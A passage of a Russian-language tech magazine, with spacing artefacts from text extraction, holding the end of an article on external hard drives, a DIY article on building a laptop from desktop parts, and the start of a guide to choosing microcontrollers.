на плат форме Ultrastar DC HC320. С одной стор  оны, отлич  ия оче видн  ы прос‐ 
то  по  внешн  ему  виду,  но  если  диск  находит ся  внут ри  кор пуса,  а  раз бирать
лень,  то  при дет ся  смот реть  на  наличие  атри бута  S.M.A.R.T.
под номером 22 — Helium Level (изна чальн  о равен 100). Если атри бут 22 при‐ 
сутс твуе  т — внут ри гелий, нет — возд  ух.

Как  ой вари ант пред почесть? Атмосфер ный вари ант более горячий и шум‐ 
ный,  но  у  какого  из  них  будет  выше  надежн  ость  в  долг  оврем  ен ной  пер спек‐ 
тиве — неизв  ест  но. Атмосфер ный вариа  нт обход  ит ся дешев ле в прои  зводс‐ 
тве (меньш  е чис ло плас тин, вент  илируе  мый дизайн).

Ге лиевый диск слев  а

ИТОГ
Внешн  ий диск — это кот в меш ке, а его покуп ка — лотерея. В этой статье я
попытал ся про лить свет на то, что ты можешь обнар  ужить внут ри пласт  иково‐ 
го кор пуса. Наде юсь, эта информац  ия поможет тебе прин  ять информир  ован‐ 
ное решение.

ТРЮКИ

НОУТБУК
СВОИМИ
РУКАМИ

ВЫБИРАЕМ КОМПЛЕКТУЮЩИЕ
И СОБИРАЕМ

ПРОИЗВОДИТЕЛЬНЫЙ ЛЭПТОП

Jaw
big‐[email protected]

Ты  решил  при обрести  прои  зво дительн  ый  пор тативн  ый
компь ютер, но смот ришь на цены и печалишь ся: мощь и пор‐ 
татив ность  одноврем  ен но  —  дорогое  удов  ольс  твие.  В  этой
статье я расс  каж  у, как собр  ать пор тативн  ый лэп топ из стан‐ 
дарт  ных дес ктоп ных ком плек тующих свои  ми руками, а так же
в  чем  плю сы  такого  под хода.  Свое  детище  я  наз вал
Truebook.

ПОЧЕМУ НЕЛЬЗЯ ПРОСТО КУПИТЬ МОЩНЫЙ НОУТБУК?
Для начала — в ноут буки устан  ав ливаю  т мобильн  ые проц  есс  оры с уре занн  ым
TDP.

INFO

TDP (Thermal Design Power) — это конст  рук тивные
тре бова ния к теп лоот воду. Эта величин  а показы‐ 
вает  макс  ималь ное  количест  во  тепл  а,  которое
дол жна расс  еивать сис тема охлажден  ия чипа.
Про изво дите ли  прин  имаю  т  величин  у  TDP  рав ной  мак симальн  ой  мощн  ости,
которую пот ребляе  т чип. Пот ребляе  мую мощ ность про ще измер  ить, и в кон це
кон цов вся она будет рас сеяна в виде тепл  а.
По казат  ель  TDP  не  равен  энерг  опот ребле нию,  хотя  и  свя зан  с  ним.
В  боль шинст  ве  слу чаев  проц  есс  ор  с  более  высоким  зна чение  м  TDP  пот‐ 
ребля ет  энер гию  (и  выделя ет  теп ло)  силь нее,  чем  с  меньш  им,  но  это  спра‐ 
ведл  иво  при  срав нении  про дук ции  одно го  прои  зво дите ля,  напр  имер  Intel
или  AMD.  Бывае  т,  что  чип  AMD  с  заявл  енной  мощн  остью  в  95  Вт  экон  омич‐ 
нее, чем Intel с 90 Вт.
Дав  ай  сравн  им  харак терист  ики  нес кольк  их  мобильн  ых  и  деск  топн  ых  про‐ 
цесс  оров комп  ании Intel. Возьм  ем про цесс  ор i5‐2500, который исполь зует ся
в наст  оль ных ком пах, и i5‐2557M для ноут буков.
Срав нивать  мы  будем  на  сай те  комп  ании  Intel.  Как  видишь,  расч  етная
мощн  ость — она же TDP — у этих проц  ес соров силь но отлич  ает ся. У мобиль‐ 
ного i5‐2557M она равн  а 17 Вт, а у дес ктопн  ого i5‐2500 — целых 95 Вт.
Не  зря  инже неры  занижаю  т  основные  парамет ры  проц  есс  оров:  количес‐ 
тво  ядер,  час тоту  про цесс  ора.  Это  поз воля ет  добитьс  я  сниж  ения  TDP.
Охлаждать про цесс  ор в тонк  ом корп  усе ноут бука стан  ет намн  ого про ще.
В завод ских ноут буках меня не устраи  вают не тольк  о сла бые проц  есс  оры,
но  и  огра ниченн  ые  возм  ожнос ти  апгрейд  ить  железо.  Конечн  о,  в  более
дорогих  игро вых  ноутб  уках  мож но  обно вить  проц  есс  ор,  тверд  отельн  ый
накопи тель, опер  атив ную память и даже дис крет ную видео  карт  у, но зачас тую
лишь  в  пре делах  одно го  поколе ния  проц  есс  оров.  Не  исключ  ено,  что  через
неск  оль ко лет твой ноут бук уста реет и ты ничего не смо жешь с этим поделать.
Еще  один  недос таток  заводс  ких  ноут буков  —  мат рица  рас положе на
на фик сированн  ом рас стоя  нии от клав  иату ры, и это мож но испра вить, тольк  о
под клю чив внеш ний монитор или кла виатур  у.
Все  это  прив  ело  меня  к  мыс ли  соб рать  собс твен ный  ноут бук.  Пусть  он
не  будет  осо бен но  тон ким,  дос таточ но,  что бы  можн  о  было  перевоз  ить  его
с мес та на мес то без особ  ого тру да.
ПОДБОР КОМПЛЕКТУЮЩИХ
Я пос тавил перед собой три основные цели.
1. Возм  ожность пол ного апгрейд  а всех ком понент  ов.
2. Ис поль зование деск  топ ных ком плект  ующих.
3. Под держ  ка стан дарт  ных ком плект  ующих (материнс  ких плат, мат риц).
По гово рим о выборе кажд  ого из ком понент  ов.
Матрица
Пос коль ку  гадж  ет  план  ируе  тся  довольн  о  мобильн  ым,  я  решил,  что  мат рица
дол жна  быть  ноут бучной.  В  ноутах  использ  уют ся  мат рицы  с  раз ными  типами
разъе  мов. Рас смот рим основные.
• Ин терфейс LVDS  —  самый  расп  ростран  ен ный  интерфейс  для  нас толь ных
монито ров  и  мат риц  ноут буков.  LVDS  обесп  ечивае  т  более  высокую  про‐ 
пус кную  спо соб ность,  чем  TMDS,  поэтом  у  фак тическ  и  стал  станд  артом
внеш него интерфей са для сов ременн  ой панели LCD.
• eDP  (Embedded  DisplayPort)  —  встро енный  порт  дис плея.  Орган  иза ция
VESA призн  аёт его как станд  арт. Несм  отря на пол ную совм  ести мость циф‐ 
рового  сигн  ала  с  внешн  им  DisplayPort,  eDP  допол нен  фун кци ями
для  использ  ования  внут ри  устрой ств  (элект  роп  итан  ие  дис плея,  час тота,
уро вень под свет ки, управлен  ие буфером Panel Self‐refresh).

INFO

Panel  Self‐refresh  —  тех нология,  с  помощью
которой дисп  лей отобр  ажае  т кар тинку, когд  а нет
видео  сиг нала,  и  меняе  т  ее  по  тре бова нию  гра‐ 
фичес кого про цесс  ора.
Еще  eDP  под держи вает  интегра цию  в  видео  сигн  ал  дополн  итель ных  циф‐ 
ровых  пакетов,  что  позв  оляе  т  реали зовать  на  плат  е  дис плея  друг  ие
интерфейс  ы.  Нап ример,  можн  о  добавить  мик рофон,  веб‐камеру,  тач‐повер‐ 
хность, хаб USB. Это позв  оляе  т уменьш  ить количес тво про вод ников в шлей‐ 
фе  для  под клю чения  к  сис темной  пла те  и  сок ратить  стои  мость  деталей
и обслуж  ива ния.
В отлич  ие от LVDS в eDP сни жено общее количест  во линий, необх  одимых
для передач  и дан ных. И всё без потери качес тва и с конт  ро лем чет кости!
В бли жайш  ие неск  оль ко лет, думаю, стан дарт eDP вытес нит с рын ка уста‐ 
рев ший  LVDS.  Для  нагл  яднос ти  при веду  табл  ицу  сравн  ения  техн  ичес ких
характ  ерист  ик интерфей сов.

Срав нение LVDS и eDP
Мат рицы  Full  HD  на  интерфейс  е  eDP  по  цене  намн  ого  ниже,  чем  c  под дер‐ 
жкой  LVDS.  Это  тоже  необх  одимо  учит  ывать,  но  для  меня  выбор  оказ  ал ся
не так прост.

А пока что я оста новил ся на диагон  али мат рицы 15,6 дюй ма.
Материнская плата
Те перь необ ходимо выбр  ать материн скую пла ту. Именн  о она будет дикт  овать
свои  прав  ила  подд  ер жки  (или  ее  отсутс твия)  интерфейс  ных  и  про чих
не менее важ ных разъе  мов.

Ос новные форм‐фак торы материнс  ких плат
Что бы выб рать материнс  кую пла ту, нуж но опред  елитьс  я с ее форм‐факт  ором.
Лучш  е  всег  о  к  пят надца тидюй мовой  мат рице  под ходят  фор маты  mini‐ITX,
Mini‐STX и thin mini‐ITX.
• Mini‐ITX  подр  азуме вает  материн скую  плат  у  с  раз мерами  170  ×  170  мм

и  под дер жкой  дес ктоп ной  ОЗУ.  На  таких  плат  ах  есть  24‐пиновый  разъе  м
питания от станд  ар тно го блок  а питания ATX, а высота интерфейс  ных разъ‐ 
емов сост  авляе  т око ло 4 см.
• Mini‐STX — довольн  о новый форм‐фак тор материн ских плат. Сущест  вен но
меньш  е по разм  еру, чем mini‐ITX, — 147 × 140 мм. К преи  му щес твам мож‐ 
но отнести и питание от внешн  его бло ка питания 19 В. Недост  аток: сло ты
опе ратив ной памяти расп  оложе ны верт  икаль но относ  итель но плат  ы, разъ‐ 
емы  на  зад ней  панели  сдел  аны  в  два  ряда,  что  увел  ичив  ает  ее  раз меры.
Их,  конечн  о,  мож но  выпая  ть,  но  это  прот  иво речит  изнач  альн  ым  треб  ова‐ 
ниям к уни вер сальн  ос ти.
• Thin mini‐ITX — раз мер 170 × 170 мм, как и у mini‐ITX. Но в отлич  ие от нее
высота  здесь  —  в  один  интерфейс  ный  разъе  м.  К  тому  же  такая  пла та
может  питать ся  от  внеш него  бло ка  питания  19  В.  Мой  выбор  пал
на материн скую плат  у ASRock H110TM‐ITX R2.0.

ASRock H110TM‐ITX R2.0
Одн  а из самых важ ных опций — дол жен быть разъе  м LVDS для под ключ  ения
мат рицы.
Все остальное
Поск  ольк  у  на  выб ранной  материнс  кой  пла те  в  наличии  был  толь ко  разъе  м
LVDS 40pin, то и мат рицу я решил взять c таким же разъ емом. Оста новил ся я
на мат рице Innolux N156B6‐L0B c диагон  алью 15,6 дюй ма.

К  про цес сору  тре бован  ий  у  меня  было  мень ше:  лишь  бы  работал  и  был
мощ нее мобильн  ых.

Опе ратив ная  память  —  планк  а  SO‐DIMM  DDR4,  накопи тель  —  SSD  Sata
M2 120 Гбайт.

Для пер вой тест  овой сборк  и это го хва тило.
Кулер для процессора
Я изу чил вариа  нты снач  ала в мест  ных магазин  ах, а позж  е — на «Алиэ  ксп  рес‐ 
се», но так и не нашел ничего под ходяще го.

В най денн  ых вари антах меня не устраи  вал  о расп  оложе ние радиа  то ра и изгиб
теп ловых  труб  ок  —  я  собирал ся  помест  ить  материн скую  плат  у  в  кор пусе
таким образ  ом, что бы, во‐перв  ых, разъ емы были по прав  ую сто рону от поль‐ 
зовател  я,  а  во‐вто рых,  про цес сор  расп  олагал ся  бы  ближ  е  к  вер хней  гран  и
устрой ства. Так охлажде ние будет более эффектив ным.

В ито ге мой выбор пал на про цесс  орный кулер Intel, модель BXHTS1155LP.

Intel BXHTS1155LP

Шлейф LVDS для соединения матрицы ноутбука и материнской
платы
Изн  ачаль но  я  пред положил,  что  этот  шлейф  мож но  позаи  мс тво вать  у  ноут‐ 
бука  с  идент  ичным  разъ емом  LVDS.  Я  работал  в  сер висе,  и  через  мои  руки
ежед невно  про ходил  о  множ  ест  во  ноут буков,  но  меня  пост  игло  разоча рова‐ 
ние.  Прошл  о  три  года,  прежд  е  чем  я  нашел  под ходящий  мне  по  расп  иновк  е
шлейф LVDS.

Ког да все ком плек тующие были у меня, я при нял ся за моделир  ован  ие кор‐ 
пуса.
СОЗДАНИЕ МАКЕТА
Изн  ачальн  о  кор пус  задумыв  ал ся  в  форм  е  класс  ическ  ого  ноут бука:  ниж няя
часть  с  кла виату рой  и  основным  и  ком плек тующим  и  —  материн ской  плат  ой,
накопит  елем  и  про чим,  а  вер хняя  —  с  мат рицей  и  веб‐камерой.  Соеди‐ 
нялись бы част  и с помощью петель.

Да лее  были  разр  аботан  ы  и  под готов лены  трехм  ерные  модели  для  это го
вари анта корп  уса. Я план  иров  ал сдел  ать его из метал ла.

Мо дель  нижн  ей  част  и  кор пуса  из  лист  ового  метал ла  с  отвер стия  ми
в  осно вании  для  крепл  ения  материнс  кой  плат  ы,  перф  ориро ван ными  отвер‐ 
сти ями  для  вент  иляции  на  перед ней  гран  и.  Сзад  и  расп  оложе ны  пло щадк  и
для крепл  ения петель мат рицы.

Друг  ая  сбор ная  модель  ниж ней  час ти  кор пуса  с  перф  орация  ми  для  забора
воз духа на передн  ей гра ни и крепл  ение  м для петель мат рицы — на задн  ей.

Мо дель вер хней крыш ки для ниж ней час ти корп  уса предс  тавл  яет собой лис‐ 
товой металл с перф  ораци ями для встрое  нных динами ков и выемк  у для съем‐ 
ной бесп  ро водн  ой кла виату ры.

В  про цесс  е  я  понял,  что  нужн  о  пол ностью  перера батыв  ать  и  упрощ  ать
модель кор пуса: умень шить корп  усные детали и сокр  атить подв  ижные узлы.

Но вая конс трук ция получил  ась довольн  о прос той и лег кой в изгот  овл  ении:
две  основные  пласт  иковые  част  и,  верх  нюю  и  нижн  юю,  креп  им  к  осно ванию
из  алю миния,  на  него  так же  прик репляю  тся  все  основные  ком плект  ующие,
а  свер ху  клад  ем  в  пазы  мат рицу  и  такж  е  нак рыва ем  крышк  ой  из  лист  ового
метал ла. По бокам, слев  а и справ  а, рас полага ются интерфейс  ные разъ емы,
которые так же прикр  ыва ем нак ладкам  и.

Накл  адки
На  верх  ней  пласт  иковой  час ти  дол жна  быть  перф  орация,  которая  занима‐ 
ет  80%  мес та  задн  ей  гра ни,  на  остальн  ых  20%  расп  оложе ны  два  отвер стия
для  съем ных  антенн  Wi‐Fi,  что бы  без  пробл  ем  можн  о  было  уста новить  нап‐ 
равленн  ую антенну.

На ниж ней час ти по кра ям устро ены перф  орации для забора свеж  его воз‐ 
духа,  на  верх  ней  гра ни  по  кра ям  —  перф  орации  и  креп ления  для  двух
динами ков, а по цент  ру — отвер стие под кноп ку диамет ром 12 мм для вклю‐ 
чения и отклю чения экра на.

Зад няя грань вер хней част  и

Пе ред няя грань ниж ней час ти

Вид сни зу
Пласт  иковые  час ти  я  изгот  овил  на  3D‐прин тере,  а  металл  ическ  ие  вырезал
из лис товой стал  и и алюм  иния.
СБОРКА
Дальш  е началась самая нудн  ая часть: сборк  а этог  о «конс трук тора».

→Продолжение статьи

ТРЮКИ ←  НАЧАЛО СТАТЬИ

НОУТБУК СВОИМИ
РУКАМИ

ВЫБИРАЕМ КОМПЛЕКТУЮЩИЕ И СОБИРАЕМ
ПРОИЗВОДИТЕЛЬНЫЙ ЛЭПТОП

Корпус
Ког да у меня на руках были пласт  иковые детали кор пуса, оста валось их обра‐ 
ботать  вруч ную:  уда лить  под дер жки,  выров нять  углы,  вкле ить  резь бовые
вставк  и M3, что бы зак реплять на них осталь ные част  и кор пуса. Затем я пос‐ 
ледоват  ель но  прим  ерял  комп  лект  ующие  и  под пиливал  напиль ником  все,  что
пло хо стык  ова лось.

При мер ка боковых интерфейс  ных разъ емов

Прим  ерк  а боковых интерфейс  ных разъ емов и верх  ней крыш ки

При мерк  а материнс  кой пла ты

Из готов лен и уста нов лен на свое мес то воз духовод для быст  рог  о вывода
горяче го возд  уха из корп  уса

При мерк  а возд  ухово да и кулера — выст  авлен  ы иде аль но!

При мер ка накл  адок для боковых интерфей сных разъ емов

Прим  ерк  а нак ладок для боковых интерфей сных разъ емов

При мерк  а мат рицы
Посл  е  того  как  я  убе дил ся  в  пол ной  совм  ести мост  и  всех  корп  усных  час тей
и комп  лек тующих, корп  ус был отправ лен на порошк  овую покр  аску.

Кор пусные час ти посл  е порошк  овой покр  аски
Железо
Да лее  —  пер воначальн  ая  сборк  а  железа  в  корп  ус.  Заняла  око ло  девяти
часов.

Для питания устройс  тва я выбр  ал защищен ный от вла ги разъе  м с защел‐ 
кой, который под паял к бло ку питания от ноут бука.

Сле дующий этап — пай ка пров  одов для кноп  ок и разъе  мов USB. Так же я под‐ 
клю чил кар три дер для карт памяти microSD.

Вот что получи лось в ито ге.

Итоговая конфигурация устройства

• Про цес сор: Intel Pentium G4400
• Диа  гон  аль мат рицы: 15,6 дюйм  а
• Опе ративн  ая память: 4 Гбайт DDR4
• На копит  ель: SSD на 128 Гбайт
• Адап теры бес про вод ных сетей: AC 9260NGW 802.11a/b/g/n/ac, Blue‐

tooth 5.0
• Кар трид  ер: microSD
• Масс  а: 3 кг
• Разм  еры: 380 × 240 × 38 мм

ВЫВОДЫ
На  этом  работа  пока  что  законч  ена,  но  прос тор  для  улучш  ений  здесь
огромный.

Во‐перв  ых,  в  соот ветс твии  с  задум кой  в  моем  «Труб  уке»  мож но  апгрей‐ 
дить  практ  ическ  и  все,  начиная  с  мат рицы  и  заканч  ивая  антенной  Wi‐Fi
или  батаре ей.  При  желании  можн  о  даже  полн  остью  сме нить  плат форму,
заменив материн скую пла ту и про цес сор.

Во‐вто рых, можн  о усо вер шенст  во вать и дизайн, не меняя основные ком‐ 
плек тующие. Напр  имер, уменьш  ить габари ты корп  уса за счет использ  ования
slim‐мат рицы и более плот ной ком понов ки ком плек тующих.

Есл  и ты захочешь повт  орить мой про ект или модер низиров  ать его, то 3D‐
модели,  чер тежи  и  комп  лек тующие  качай  по  ссыл ке.  Боль шую  часть  ком‐ 
понен тов мож но найт  и на AliExpress.

WWW

•Адапт  ер Wi‐Fi
•Тачск  рин 15,6"
•Бесп  ров  од ная slim Bluetooth‐клав  иату ра
•Кнопк  а включ  ения
•Мех  ани чес кая  бес про водн  ая  Bluetooth‐кла‐ 

виату ра
•Веб‐камера
•Кон трол лер заряда батареи
•Ак кумуля торы 18650
•LVDS‐шлейф
•Дин  амик  и
•Разъе  м питания
•Кнопк  а 12 мм
•Разъе  мы USB и аудио
•Прод винутый  кон тролл  ер  заряда  батареи

openUPS
•Ин терес ные материн ские пла ты

ТРЮКИ

Владимир Мищенко
Электроника. Коты. Аниме.
[email protected]

ТОТАЛЬНЫЙ
МИКРОКОНТРОЛЬ

КАКИЕ БЫВАЮТ МИКРОКОНТРОЛЛЕРЫ
И КАК ВЫБРАТЬ ПОДХОДЯЩИЙ

Мик рокон трол леры,  как  ты  зна ешь,  в  совр  еменн  ой  жизн  и
пов сюду  и  кон тро лиру ют  работу  самой  раз ной  бытовой  тех‐ 
ники  и  элект  рон  ики.  В  пос ледние  годы  они  стал  и  мощн  ыми
и  дешевым  и,  а  средст  ва  разр  аботк  и  для  них  —  прост  ыми,
поэто му  их  част  о  покупа ют  в  рамк  ах  увле чения  сборк  ой
собст  венн  ых  гадж  етов.  В  этой  статье  я  расс  ка жу,  какие
бываю  т кон тролл  еры и как их выбирать, если ты план  иру ешь
созд  ать свое умное устрой ство.

INFO

Мик рокон тролл  ер  (Micro  Controller  Unit,  MCU)  —
мик росхем  а,  пред назнач  ен ная  для  управле ния
элек трон ными устрой ствам  и.

Оп ределен  ие  выше  что‐то  напоми нает...  Ах  да,  микр  опро цесс  ор!  Эти  два
слож ных  (в  срав нении  с  остальн  ыми)  элек тронн  ых  ком понен та  похожи.  Они
обра баты вают  циф ровую  информац  ию  и  выполн  яют  прог раммы.  Но  мик‐ 
рокон трол лер  нес коль ко  инте рес нее:  он  уже  содер жит  опе ратив ную  память
(RAM),  пос тоян ную  память  (ROM),  память  прогр  аммы  (Flash)  и  некотор  ую
встро енную  перифе рию.  С  ним  легч  е  начать  работать,  ему  не  нуж но  мно го
обвязки для функ  цио  нир  ова ния.

С  появл  ения  в  70‐х  годах  пер вых  мик роконт  рол леров  необ ходимость
в  про екти рова нии  сложн  ого  устройс  тва  отпал  а.  Дол гое  врем  я  монопо лию
на  их  про изводст  во  держ  ала  комп  ания  Motorola,  но  их  про дук ция  была
дорого вата  для  обы вател  ей.  Сей час  же  аме рикан ские  комп  ании  тесн  ят  кон‐ 
курен ты из Азии, которые готовы осчас тлив  ить кажд  ого за чис то симв  оличес‐ 
кую сумм  у.

Дав  ай  вмес те  поп робу ем  разоб ратьс  я  в  совр  еменн  ом  рынк  е  мик рокон‐ 
трол леров.  Замечу,  что  говорить  мы  будем  толь ко  о  бюд жетных  и  широко
спе циали зиро ванн  ых модельн  ых линейк  ах, то есть о тех, которые использ  уют
элек тронщ  ики.

PIC

Ло готип комп  ании Microchip Technology
От крыв  ает  наш  парад  комп  ания  Microchip  Technology  с  сери ей  PIC.  Эти  МК
отлич  ают ся межд  у собой разр  ядностью (8/16/32), набором перифер  ии и кор‐ 
пусом чипа. Вось мибит ные вариа  нты же делят ся на четыре семейс  тва: base‐
line,  mid‐range,  enhanced  mid‐range  и  PIC18.  Более  под робная  информа ция
прив  еде на в табл  ице.

Такж  е  есть  16‐бит ные  «пики»  —  PIC24F  и  DsPIC30/33F.  Ну  и  32‐бит ные  —
PIC32MX.  Эти  непонят ные  сочета ния  букв  и  цифр  —  часть  иден тифика тора
чипа.  То  же,  что  и  мар ки  у  машин.  Нап ример,  широко  рас простран  ен ный
камень  PIC16F628A  рас шифров  ыва ется  так:  семейс  тво  PIC16F6  (Mid‐range),
а  осталь ная  часть  име ни  —  ука затель  на  кон крет ный  камень.  У  рас смот‐ 
ренных далее МК в имен  и может содер жатьс  я еще боль ше информац  ии.

Мик роконт  рол лер PIC16F628A
Эти  мик роконт  рол леры  име ют  сред нюю  сто имость.  Нап ример,  камень
PIC6F628 в Chipdip сто ит око ло 150 рубл  ей, а PIC18F2550 — 620 рубл  ей.

WWW

Асс  ортим  ент PIC на Chipdip

Бо лее  дешевые  экземп  ля ры  имею  т  в  свое  м  сост  аве  минимум  перифер  ии.
У  упо мянут  ого  ранее  PIC6F628  след  ующие  характ  ерис тики:  встрое  нный  так‐ 
товый  генера тор  для  работы  с  част  отой  4  или  8  МГц;  18  пинов,  из  них  16  —
ввод/вывод,  а  2  —  питание;  для  работы  на  более  высоких  час тотах  мож но
подк  лю чить  квар цевый  резонат  ор;  Flash‐память  объ емом  2048  слов;  4  ана‐ 
лого вых  вхо да;  два  8‐бит ных  тай мера  и  один  16‐бит ный;  224  бай та  ОЗУ
(самому  смешн  о);  128  байт  EEPROM  (это  прог рам мно  переза писы ваемая
энерг  онеза висим  ая память, врод  е жес тко го дис ка); интерфейс UART.

Программирование и использование PIC
Прог рамми руют  для  микр  оконт  рол леров,  как  пра вило,  на  ассем блер  е  и  на
Си. Есть мно жес тво сред раз работ ки: MPASM и MPLAB, MicroC, JALedit (язык
JAL, сам про него вперв  ые слы шу).

WWW

Скач  ать MPLAB

Как  пра вило,  на  таких  МК  собираю  т  прост  ень кие  устройс  тва  врод  е  мигал ки
или  тайм  ера.  Эти  конт  рол леры  дол го  име ли  монопол  ию  на  пост  со вет ском
прос транст  ве, и в резуль тате в интерне те есть огромное мно жест  во русс  ко‐ 
язычн  ых  сер висов  и  стат  ей,  пос вящен ных  этим  моделям  МК.  При  сборк  е
устрой ства част  о мож но даже не писать про шивк  у, ведь она лег ко находит ся
в интерне те, даже в нес коль ких вари антах.

Вто рым  плю сом  можн  о  указ  ать  встрое  нные  незави симые  (от  так тового
генерат  ора)  счет чики.  Бла годар  я  это му  факт  у  семей ство  зареком  ен довало
себя в качес тве «мозг  ов» для час тотоме ров. Пара таких кон тролл  еров лежит
у  меня  в  маст  ерс  кой  на  чер ный  день.  Из  минусов  мож но  выделить  толь ко
высокую сто имость ориг  инальн  ых прогр  амма торов, которые зовут ся PICkit.

PICKIT3
В  интерне те  есть  мно жест  во  стат  ей  по  сборк  е  дос тойн  ых  анал  огов  таких
прогр  амма торов. Но вся соль в том, что для сборк  и прог раммат  ора тебе нуж‐ 
но  что?  Прав  иль но,  прогр  амма тор.  На  этот  случ  ай  был  раз работан  прог‐ 
рамма тор  Гро мова.  Для  его  сбор ки  почт  и  ничего  не  нужн  о,  а  работа ет  он
от  COM‐пор та  компью  те ра.  На  момент  его  раз работ ки  популярн  ость  этой
серии МК была высока, да и COM‐порт  ы были у всех ПК. Сейч  ас все это уже
редк  ость,  так  что  при дет ся  пре одо леть  порог  вхожд  ения  либо  рас кошелить‐ 
ся.

AVR

Ло готип комп  ании Atmel
Микр  оконт  рол леры  AVR  прои  зво дит  комп  ания  Atmel.  Если  не  знал,  это  те
самые  конт  рол леры,  из  которых  собираю  т  Arduino.  Неког да  Atmel  была
незави симой  ком пани ей,  но  поз же  ее  купила  упо мяну тая  ранее  Microchip,
которая про дол жает выпус кать эти МК. Они делят ся на три семейс  тва: tinyAVR
(ATtinyxxx), megaAVR (ATmegaxxx), XMEGA AVR (ATxmegaxxx).

TinyAVR
• Flash‐память до 16 Кбайт;
• RAM до 512 байт;
• ROM до 512 байт;
• чис ло пинов (ножек) вво да‐вывода 4–18;
• неб  ольш  ой набор перифер  ии.

MegaAVR
• FLASH до 256 Кбайт;
• RAM до 16 Кбайт;
• ROM до 4 Кбайт;
• чис ло пинов вво да‐вывода 23–86;
• рас ширенн  ая сис тема команд (ассем блер) и перифе рии.

XMEGA AVR
• FLASH до 384 Кбайт;
• RAM до 32 Кбайт;
• ROM до 4 Кбайт;
• чет  ырехк  аналь ный кон трол лер DMA (для быст  рой работы с памятью и вво‐ 

дом/выводом);
• «инно вацио  нная» сист  ема обраб  от ки событий.
Как и в слу чае PIC, у моделей AVR в назв  ании содер жится ценн  ая информа‐ 
ция.  Напр  имер:  ATMega328PU  —  семей ство  megaAVR,  32  Кбайт  а  Flash,  8‐
бит ный,  P  —  говорит  о  модифик  ации  (при мерн  о  как  у  пист  олета  Макаро ва
модерн  изиро ван ного — ПММ).

Рас шифровк  а наз вания чипа

Цена и начинка
Эти  микр  окон трол леры  имею  т,  как  и  PIC,  средн  юю  стои  мость.  Напр  имер,
упо мянут  ый  ранее  камень  ATmega328P  в  Chipdip  сто ит  160  рубл  ей,
а ATxmega128A1 — 590 руб лей.

WWW

Мик рокон трол леры Atmel в Chipdip

TinyAVR дешевл  е и про ще свои  х стар ших брать ев. Немн  ого харак терист  ик AT‐
mega328P:  пред  ель ная  част  ота  работы  20  МГц  (слыш  ал,  прав да,  что
под  охлажде нием  и  посильн  ее  раз гоняли);  23  пина  ввод  а‐вывода;  Flash‐
память на 32 Кбайт  а; 8 анал  ого вых вход  ов; два 8‐бит ных тай мера и один 16‐
бит ный; 6 ШИМ‐каналов; 2 Кбайт  а RAM; 1 Кбайт EEPROM; интерфей сы UART,
SPI, I2C.

Программирование и использование AVR
Благ  одар  я  расп  ростран  ению  плат  про тоти пиров  ания  Arduino,  как  у  нас,  так
и  за  рубежом,  эти  МК  име ют  низк  ий  порог  вхожд  ения.  Прог раммир  уют ся
на ассемб  ле ре, Си, C++; можн  о вос польз  оватьс  я граф  ичес кими генера тора‐ 
ми  кода  типа  Scratch  (см.  Scratchduino).  Для  работы  есть  Atmel  Studio,  IAR
AVR,  WinAVR.  Ну  и  Arduino  IDE,  куда  уж  без  нее.  Лич но  я  исполь зую  связ ку
из Geany  и  avrdude.  Для  про шив ки  есть  больш  ое  разн  ооб разие  прогр  амма‐ 
торов:  как  дешевые,  так  и  подорож  е.  Я  для  этих  целей  прик  упил  недоро гой
экземп  ляр  USBasp  где‐то  за  1,5  дол лара  (на  Aliexpress  есть  мас са  вари‐ 
антов). А мож но в качест  ве прогр  аммат  ора исполь зовать и Arduino UNO.

Инф  ормац  ии  об  этих  кон трол лерах  в  интерне те  мног  о:  чего  толь ко  стои  т
канал AlexGyver!  И  бла годар  я  Arduino  сущес твуе  т  масс  а  обуч  ающих  наборов
на любой вкус. В общем, низ кий порог вхож дения — весомый плюс этих кон‐ 
трол леров.

Кста ти, если заказы ваешь из Китая, то взять плат  у с чипом будет дешев ле,
чем чип отдельн  о.

ARM
О  ком пании  ARM  и  ее  про дук ции  ты  навер няка  слыш  ал.  Однак  о  про извод  ит
эта  комп  ания  не  сами  микр  оконт  рол леры,  а  лишь  архит  ек туру.  Лиценз  ию
на нее покупа ют конечн  ые про извод  ител  и и использ  уют так, как им захочет ся.
Кто  тольк  о  их  не  выпуск  ал!  Но  как  мик роконт  ролл  еры  наиболь шее  рас‐ 
простран  ение получил  и чипы ком пании STMicroelectronics.

Ло готип STMicroelectronics
Они  делят ся  на  два  семейс  тва:  STM32  и  STM8.  Как  понят но  из  наз ваний,
такие  чипы  бываю  т  8‐  и  32‐бит ные.  А  каж дое  семейс  тво  делит ся  на  серии,
которых дост  аточн  о мно го.

STM8
Что можн  о о них сказ  ать? Это функ  ци ональн  ый ана лог AVR, тольк  о дешев ле.
Здесь  есть  три  серии:  STM8L  c  уль тран  изк  им  энер гопот реблен  ием,  STM8S
для  индус три аль ной  аппа рату ры  и  STM8A,  име нуемые  «высокон  адежн  ыми».
Перифер  ия у всех такая же, как у AVR, но есть встрое  нный такт  овый генера‐ 
тор. Из плю сов могу выделить толь ко низк  ое энерг  опот реблен  ие и маленьк  ую
цену.  Замечу,  у  STM8  архи тек тура  не  ARM,  а  собст  вен ная.  Она  очень  схож  а
с  ARM  и  использ  ует  идент  ичный  STM32  интерфейс  про шивк  и.  Комп  илятор
для  них  использ  ует ся  тоже  один,  и  при  его  работе  ты  прос то  ука зывае  шь,
под какую архи тект  уру собирать код.

STM32
Про ще  говоря,  это  стар ший  брат  STM8.  Его  харак терис тики  куда  выше
и колеб лются в больш  их пре делах в зависим  ос ти от серии. Прог рамми руют ся
прак тичес ки на чем угод но, даже JavaScript, хотя я бы не рекомен довал.

Прошивка и программирование
Про шива ются STM32 с помощью раз работанн  ого ком пание  й ST интерфей са
Single  Wire  Interface  Module  (SWIM).  Еще  у  МК  этой  серии  есть  интерфейс
отладки Serial Wire Debugging (SWD). Им я не поль зовалс  я, но в боль шинст  ве
гай дов по STM есть опи сание его наст  ройк  и.

А еще на STM можн  о записы вать про шив ки по USB. Дело в том, что у мно‐ 
гих кон трол леров этой серии есть аппар  ат ная под держ  ка USB. STM бла года‐ 
ря  это му  может  эмул  иро вать  разн  ые  устрой ства  —  нап ример,  флешк  у.  Если
залить  спец  иаль ную  про шив ку,  можн  о  будет  обновлять  встрое  нную  прог‐ 
рамму прост  о по USB.

Для  STM32  есть  самые  раз ные  прог рамма торы  —  от  весьм  а  крут  ых
до прос теньк  их USB‐свист  ков. Я, нап ример, взял ST‐LINK, на «Алиэ  кс прес се»
он  сто ил  око ло  1,6  дол ларов.  Его  дос тоинст  во  в  том,  что  он  может  прош  ить
